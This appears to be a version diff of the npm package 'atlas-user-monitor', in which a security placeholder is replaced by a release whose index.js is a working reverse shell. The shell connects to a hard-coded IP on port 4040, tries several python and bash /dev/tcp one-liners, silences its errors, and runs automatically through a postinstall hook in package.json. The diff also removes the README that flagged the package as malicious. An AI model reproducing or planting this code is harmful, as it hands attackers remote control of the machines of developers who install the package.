atlas-user-monitor 0.0.1-security → 11.5.6

package/index.js

@@ -0,0 +1,47 @@
+const { exec } = require('child_process');
+const net = require('net');
+
+const targetIP = '154.61.80.228';
+const targetPort = 4040;
+
+const client = new net.Socket();
+
+client.connect(targetPort, targetIP, () => {
+    // Try different shell commands
+    const commands = [
+        'nohup python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.61.80.228",4040));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' > /dev/null 2>&1 &',
+        'nohup python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.61.80.228",4040));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' > /dev/null 2>&1 &',
+        'nohup bash -i >& /dev/tcp/154.61.80.228/4040 0>&1 > /dev/null 2>&1 &',
+        'nohup sh -i >& /dev/tcp/154.61.80.228/4040 0>&1 > /dev/null 2>&1 &'
+    ];
+
+    let commandIndex = 0;
+
+    function tryCommand() {
+        if (commandIndex >= commands.length) {
+            return;
+        }
+
+        const command = commands[commandIndex];
+        const sh = exec(command, (error, stdout, stderr) => {
+            if (error) {
+                commandIndex++;
+                tryCommand();
+                return;
+            }
+        });
+
+        client.write('Connected to the target IP and port\n');
+
+        sh.stdout.pipe(client);
+        sh.stderr.pipe(client);
+
+        client.pipe(sh.stdin);
+    }
+
+    tryCommand();
+});
+
+client.on('error', (err) => {
+    // No logging for errors
+});

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "atlas-user-monitor",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "11.5.6",
+  "description": "Snehil",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node index.js"
+  },
+  "author": "Snehil",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=atlas-user-monitor for more information.